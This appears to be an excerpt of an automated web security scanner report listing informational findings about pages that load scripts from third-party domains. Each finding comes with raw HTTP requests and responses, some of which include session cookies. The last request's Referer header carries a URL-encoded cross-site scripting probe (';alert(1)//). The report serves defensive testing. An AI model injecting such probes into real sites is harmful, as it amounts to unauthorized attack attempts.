Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 69139

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Top Downloads (Page
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.203. http://www.download32.com/windows-1-platform.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.download32.com
Path:	/windows-1-platform.html

Issue detail

The response dynamically includes the following script from another domain:

http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400

Request

GET /windows-1-platform.html HTTP/1.1
Host: www.download32.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: PHPSESSID=f1d128b0b804710c566c802ba5200831; __qca=P0-1697810850-1296942494788;

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:03 GMT
Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.16
X-Powered-By: PHP/5.2.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache, no-store, max-age=0, must-revalidate, proxy-revalidate, no-transform
Pragma: no-cache
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/html
Content-Length: 58268

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Top Categories - Win
...[SNIP]...
</table> <script type="text/javascript" src="http://download32.us.intellitxt.com/intellitxt/front.asp?ipid=18400"></script>
...[SNIP]...

21.204. http://www.dustindiaz.com/min-height-fast-hack/*/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dustindiaz.com
Path:	*/min-height-fast-hack//**

Issue detail

The response dynamically includes the following scripts from other domains:

http://platform.twitter.com/anywhere.js?id=napdReg8vmaMotIRoyrg&v=1
http://widgets.twimg.com/j/2/widget.js
http://www.flickr.com/badge_code_v2.gne?count=1&display=latest&size=m&layout=h&source=user&user=38687875%40N00
http://www.google-analytics.com/urchin.js

Request

GET /min-height-fast-hack/*/ HTTP/1.1
Host: www.dustindiaz.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Date: Sat, 05 Feb 2011 23:01:44 GMT
Server: Apache
X-Pingback: http://www.dustindiaz.com/xmlrpc.php
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
Last-Modified: Sat, 05 Feb 2011 23:01:44 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18824

<!DOCTYPE html>
<html lang='en'>
<head>
<meta http-equiv="Content-type" content="text/html; charset=utf-8">
<title>Dustin Diaz</title>
<style type="text/css">
@import "/css/960.css
...[SNIP]...
<li><script type="text/javascript" src="http://www.flickr.com/badge_code_v2.gne?count=1&display=latest&size=m&layout=h&source=user&user=38687875%40N00"></script>
...[SNIP]...
</h3>
<script src="http://widgets.twimg.com/j/2/widget.js"></script>
...[SNIP]...
</div>
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
<script type="text/javascript">
...[SNIP]...
</script>
<script src="http://platform.twitter.com/anywhere.js?id=napdReg8vmaMotIRoyrg&v=1"></script>
...[SNIP]...

21.205. http://www.dynamicdrive.com/dynamicindex5/balloontooltip.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dynamicdrive.com
Path:	/dynamicindex5/balloontooltip.htm

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://s7.addthis.com/js/152/addthis_widget.js

Request

GET /dynamicindex5/balloontooltip.htm HTTP/1.1
Host: www.dynamicdrive.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:03:01 GMT
Server: Apache/2.2.10 (Unix) mod_ssl/2.2.10 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
Accept-Ranges: bytes
Connection: close
Content-Type: text/html
Content-Length: 15769

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
...[SNIP]...
</a><script type="text/javascript" src="http://s7.addthis.com/js/152/addthis_widget.js"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

21.206. http://www.ebooklibs.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ebooklibs.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://pagead2.googlesyndication.com/pagead/show_ads.js
http://s7.addthis.com/js/250/addthis_widget.js
http://track2.mybloglog.com/js/jsserv.php?mblID=2010103022430869

Request

GET / HTTP/1.1
Host: www.ebooklibs.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:03:03 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.13
Set-Cookie: PHPSESSID=960c78bbb1339e72b86aff1fa9dcfed2; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 28212

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="rob
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type='text/javascript' src='http://track2.mybloglog.com/js/jsserv.php?mblID=2010103022430869'></script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js"></script>
...[SNIP]...

21.207. http://www.evernote.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.evernote.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

https://www.google.com/jsapi

Request

GET / HTTP/1.1
Host: www.evernote.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Content-Language: en
Content-Length: 13560
Date: Sat, 05 Feb 2011 23:01:45 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<link href="/about/media/css/headlines.css" rel="stylesheet" type="text/css" />
<script src="https://www.google.com/jsapi" type="text/javascript"></script>
...[SNIP]...

21.208. http://www.eweek.com/c/a/Web-Services-Web-20-and-SOA/eWeek-Newsbreak-Jan-20-2010/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.eweek.com
Path:	/c/a/Web-Services-Web-20-and-SOA/eWeek-Newsbreak-Jan-20-2010/

Issue detail

The response dynamically includes the following scripts from other domains:

http://admin.brightcove.com/js/experience_util.js
http://internet.ziffdavisenterprise.com/video/eWeek/js/bc-ad-parser.js
http://internet.ziffdavisenterprise.com/video/eWeek/js/bc-tabs-new.js
http://tweetmeme.com/i/scripts/button.js
http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en
http://www.google.com/cse/brand?form=cse-search-box&lang=en

Request

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:06:56 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=6592e20ed66425350eaa2f6c3e4daa4e; expires=Mon, 06-Feb-2012 16:06:55 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:06:55 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 42555

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<title>eWeek Newsbreak Jan 20 2010 - Web Services Web 20 and SOA - News & Reviews - eWeek.com</title>
<meta name="mediu
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
</table>
<script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://tweetmeme.com/i/scripts/button.js"></script>
...[SNIP]...
</script>
<script src="http://internet.ziffdavisenterprise.com/video/eWeek/js/bc-ad-parser.js" type="text/javascript"></script>
<script src="http://internet.ziffdavisenterprise.com/video/eWeek/js/bc-tabs-new.js" type="text/javascript"></script>
<script src="http://admin.brightcove.com/js/experience_util.js" type="text/javascript"></script>
...[SNIP]...

21.209. http://www.eweek.com/c/a/Web-Services-Web-20-and-SOA/eWeek-Newsbreak-July-24-2009/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.eweek.com
Path:	/c/a/Web-Services-Web-20-and-SOA/eWeek-Newsbreak-July-24-2009/

Issue detail

The response dynamically includes the following scripts from other domains:

http://admin.brightcove.com/js/experience_util.js
http://internet.ziffdavisenterprise.com/video/eWeek/js/bc-ad-parser.js
http://internet.ziffdavisenterprise.com/video/eWeek/js/bc-tabs-new.js
http://tweetmeme.com/i/scripts/button.js
http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en
http://www.google.com/cse/brand?form=cse-search-box&lang=en

Request

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:06:57 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=2cce746131d60b910c10bb4c63d65ddd; expires=Mon, 06-Feb-2012 16:06:56 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:06:56 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 42015

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<title>eWeek Newsbreak, July 24, 2009 - Web Services Web 20 and SOA - News & Reviews - eWeek.com</title>
<meta name="me
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
</table>
<script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://tweetmeme.com/i/scripts/button.js"></script>
...[SNIP]...
</script>
<script src="http://internet.ziffdavisenterprise.com/video/eWeek/js/bc-ad-parser.js" type="text/javascript"></script>
<script src="http://internet.ziffdavisenterprise.com/video/eWeek/js/bc-tabs-new.js" type="text/javascript"></script>
<script src="http://admin.brightcove.com/js/experience_util.js" type="text/javascript"></script>
...[SNIP]...

21.210. http://www.eweek.com/c/a/Windows/5-Reasons-Companies-Arent-Skipping-Vista/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.eweek.com
Path:	/c/a/Windows/5-Reasons-Companies-Arent-Skipping-Vista/

Issue detail

The response dynamically includes the following scripts from other domains:

http://admin.brightcove.com/js/experience_util.js
http://internet.ziffdavisenterprise.com/video/eWeek/js/bc-ad-parser.js
http://internet.ziffdavisenterprise.com/video/eWeek/js/bc-tabs-new.js
http://tweetmeme.com/i/scripts/button.js
http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en
http://www.google.com/cse/brand?form=cse-search-box&lang=en

Request

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:06:58 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=da48f05b6f143b09beb0b90db22ab5e4; expires=Mon, 06-Feb-2012 16:06:57 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:06:57 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 42503

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<title>5 Reasons Companies Aren`t Skipping Vista - Windows - News & Reviews - eWeek.com</title>
<meta name="medium" con
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
</table>
<script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://tweetmeme.com/i/scripts/button.js"></script>
...[SNIP]...
</script>
<script src="http://internet.ziffdavisenterprise.com/video/eWeek/js/bc-ad-parser.js" type="text/javascript"></script>
<script src="http://internet.ziffdavisenterprise.com/video/eWeek/js/bc-tabs-new.js" type="text/javascript"></script>
<script src="http://admin.brightcove.com/js/experience_util.js" type="text/javascript"></script>
...[SNIP]...

21.211. http://www.eweek.com/c/a/Windows/Ensuring-Smooth-Upgrade-Path-with-Windows-Vista/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.eweek.com
Path:	/c/a/Windows/Ensuring-Smooth-Upgrade-Path-with-Windows-Vista/

Issue detail

The response dynamically includes the following scripts from other domains:

http://admin.brightcove.com/js/experience_util.js
http://internet.ziffdavisenterprise.com/video/eWeek/js/bc-ad-parser.js
http://internet.ziffdavisenterprise.com/video/eWeek/js/bc-tabs-new.js
http://tweetmeme.com/i/scripts/button.js
http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en
http://www.google.com/cse/brand?form=cse-search-box&lang=en

Request

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:06:59 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=a46b6d20b5c938f43934df285f8d5d05; expires=Mon, 06-Feb-2012 16:06:58 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:06:58 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 43600

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<title>Ensuring Smooth Upgrade Path with Windows Vista - Windows - News & Reviews - eWeek.com</title>
<meta name="mediu
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
</table>
<script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://tweetmeme.com/i/scripts/button.js"></script>
...[SNIP]...
</script>
<script src="http://internet.ziffdavisenterprise.com/video/eWeek/js/bc-ad-parser.js" type="text/javascript"></script>
<script src="http://internet.ziffdavisenterprise.com/video/eWeek/js/bc-tabs-new.js" type="text/javascript"></script>
<script src="http://admin.brightcove.com/js/experience_util.js" type="text/javascript"></script>
...[SNIP]...

21.212. http://www.eweek.com/c/a/Windows/How-to-Accurately-Plan-for-Windows-Server-2008-Hardware/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.eweek.com
Path:	/c/a/Windows/How-to-Accurately-Plan-for-Windows-Server-2008-Hardware/

Issue detail

The response dynamically includes the following scripts from other domains:

http://admin.brightcove.com/js/experience_util.js
http://internet.ziffdavisenterprise.com/video/eWeek/js/bc-ad-parser.js
http://internet.ziffdavisenterprise.com/video/eWeek/js/bc-tabs-new.js
http://tweetmeme.com/i/scripts/button.js
http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en
http://www.google.com/cse/brand?form=cse-search-box&lang=en

Request

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:07:00 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=4a30ee931774a07c8dcf29a311c59213; expires=Mon, 06-Feb-2012 16:06:59 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:06:59 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 41372

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<title>How to Accurately Plan for Windows Server 2008 Hardware - Windows - News & Reviews - eWeek.com</title>
<meta nam
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
</table>
<script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://tweetmeme.com/i/scripts/button.js"></script>
...[SNIP]...
</script>
<script src="http://internet.ziffdavisenterprise.com/video/eWeek/js/bc-ad-parser.js" type="text/javascript"></script>
<script src="http://internet.ziffdavisenterprise.com/video/eWeek/js/bc-tabs-new.js" type="text/javascript"></script>
<script src="http://admin.brightcove.com/js/experience_util.js" type="text/javascript"></script>
...[SNIP]...

21.213. http://www.eweek.com/c/s/Videos/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.eweek.com
Path:	/c/s/Videos/

Issue detail

The response dynamically includes the following scripts from other domains:

http://jlinks.industrybrains.com/jsct?sid=768&ct=EWEEK_ROS&tr=INTERNAL_PAGE&num=3&layt=1&fmt=simp
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en
http://www.google.com/cse/brand?form=cse-search-box&lang=en

Request

GET /c/s/Videos/ HTTP/1.1
Host: www.eweek.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 16:07:02 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.1.6
Set-Cookie: sessioncookie=e6f3c55c091c3db9d4c56a2652e95947; expires=Mon, 06-Feb-2012 16:07:01 GMT; path=/
Set-Cookie: mosvisitor=1
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sun, 06 Feb 2011 16:07:01 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 79312

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<title>Videos - News & Reviews - eWeek.com</title>
<meta name="medium" content="news" />
<meta name="title" content="Vid
...[SNIP]...
</script>
<script type="text/javascript" src="http://www.google.com/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
</table>
<script type="text/javascript" src="http://www.google.com/coop/cse/brand?form=cse-search-box&lang=en"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<td><script type="text/javascript" src="http://jlinks.industrybrains.com/jsct?sid=768&ct=EWEEK_ROS&tr=INTERNAL_PAGE&num=3&layt=1&fmt=simp"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...

21.214. http://www.facebook.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/

Issue detail

The response dynamically includes the following script from another domain:

http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js

Request

Response

21.215. http://www.facebook.com/BlackBerry previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/BlackBerry

Issue detail

The response dynamically includes the following script from another domain:

http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js

Request

Response

21.216. http://www.facebook.com/BlackBerryES previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/BlackBerryES

Issue detail

The response dynamically includes the following script from another domain:

http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js

Request

Response

21.217. http://www.facebook.com/BlackBerryFR previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/BlackBerryFR

Issue detail

The response dynamically includes the following script from another domain:

http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js

Request

Response

21.218. http://www.facebook.com/BlackBerryNL previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/BlackBerryNL

Issue detail

The response dynamically includes the following script from another domain:

http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js

Request

Response

21.219. http://www.facebook.com/BlackBerryUK previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/BlackBerryUK

Issue detail

The response dynamically includes the following script from another domain:

http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js

Request

Response

21.220. http://www.facebook.com/BlackBerryZA previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/BlackBerryZA

Issue detail

The response dynamically includes the following script from another domain:

http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js

Request

Response

21.221. http://www.facebook.com/Craig.Marshall.Deutschland previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/Craig.Marshall.Deutschland

Issue detail

The response dynamically includes the following script from another domain:

http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js

Request

Response

21.222. http://www.facebook.com/ajouli1 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/ajouli1

Issue detail

The response dynamically includes the following script from another domain:

http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js

Request

Response

21.223. http://www.facebook.com/americanexpress previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/americanexpress

Issue detail

The response dynamically includes the following script from another domain:

http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js

Request

GET /americanexpress HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;

Response

21.224. http://www.facebook.com/americanexpress previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/americanexpress

Issue detail

The response dynamically includes the following script from another domain:

http://static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js

Request

GET /americanexpress HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.225. http://www.facebook.com/dcmoncayo previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/dcmoncayo

Issue detail

The response dynamically includes the following script from another domain:

http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js

Request

Response

21.226. http://www.facebook.com/fabianomorige previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/fabianomorige

Issue detail

The response dynamically includes the following script from another domain:

http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js

Request

Response

21.227. http://www.facebook.com/laprincesita.inigulable previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/laprincesita.inigulable

Issue detail

The response dynamically includes the following script from another domain:

http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js

Request

Response

21.228. http://www.facebook.com/marytere.medina previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/marytere.medina

Issue detail

The response dynamically includes the following script from another domain:

http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js

Request

Response

21.229. http://www.facebook.com/pages/Kledyde/344540630304 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/pages/Kledyde/344540630304

Issue detail

The response dynamically includes the following script from another domain:

http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js

Request

Response

21.230. http://www.facebook.com/pages/OrthoSuperSitecom/296664256434 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/pages/OrthoSuperSitecom/296664256434

Issue detail

The response dynamically includes the following script from another domain:

http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js

Request

GET /pages/OrthoSuperSitecom/296664256434 HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, must-revalidate
Expires: Sat, 01 Jan 2000 00:00:00 GMT
P3P: CP="Facebook does not have a P3P policy. Learn why here: http://fb.me/p3p"
Pragma: no-cache
Set-Cookie: datr=JslNTVyi3Z1cM6bZrSjKLTPt; expires=Mon, 04-Feb-2013 22:03:18 GMT; path=/; domain=.facebook.com; httponly
Set-Cookie: lsd=mxlHK; path=/; domain=.facebook.com
Content-Type: text/html; charset=utf-8
Connection: close
Date: Sat, 05 Feb 2011 22:03:18 GMT
Content-Length: 136626

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" id="facebook" class=
...[SNIP]...
<link type="text/css" rel="stylesheet" href="http://b.static.ak.fbcdn.net/rsrc.php/yE/r/vKC7KTGk0BI.css" />

<script type="text/javascript" src="http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js"></script>
...[SNIP]...

21.231. http://www.facebook.com/pages/Orthopaedic-Trauma-Association/212018968439 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/pages/Orthopaedic-Trauma-Association/212018968439

Issue detail

The response dynamically includes the following script from another domain:

http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js

Request

Response

21.232. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The response dynamically includes the following script from another domain:

http://c.static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js

Request

GET /plugins/like.php HTTP/1.1
Host: www.facebook.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: datr=8CJHTYhjyotVYfKpZ5B35lnF; campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS;

Response

21.233. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.facebook.com
Path:	/plugins/like.php

Issue detail

The response dynamically includes the following script from another domain:

http://static.ak.fbcdn.net/rsrc.php/yf/r/mz6o8eG7kn5.js

Request

GET /plugins/like.php?href=http%253A%252F%252Fwww.manualsonline.com%252F&layout=standard&show_faces=true&width=450&action=like&font=arial&colorscheme=light&height=80 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%2527%253balert%25281%2529%252f%252f35f276845e/product_problem
